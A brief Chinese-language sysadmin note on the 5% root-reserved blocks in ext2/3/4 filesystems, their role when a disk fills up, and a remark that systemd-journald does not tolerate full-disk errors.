- Linux 的 ext2/3/4 文件系统在格式化时,默认会把 5% 的空间划为“仅限 root 用户使用”的预留块(Reserved blocks)。

理论上,当普通用户把磁盘写满到 100% 时,root 用户还能靠这剩下的 5% 登录并删文件。这个机制不适合服务器,所以被关闭了。 systemd-journald 又没有做/dev/full容错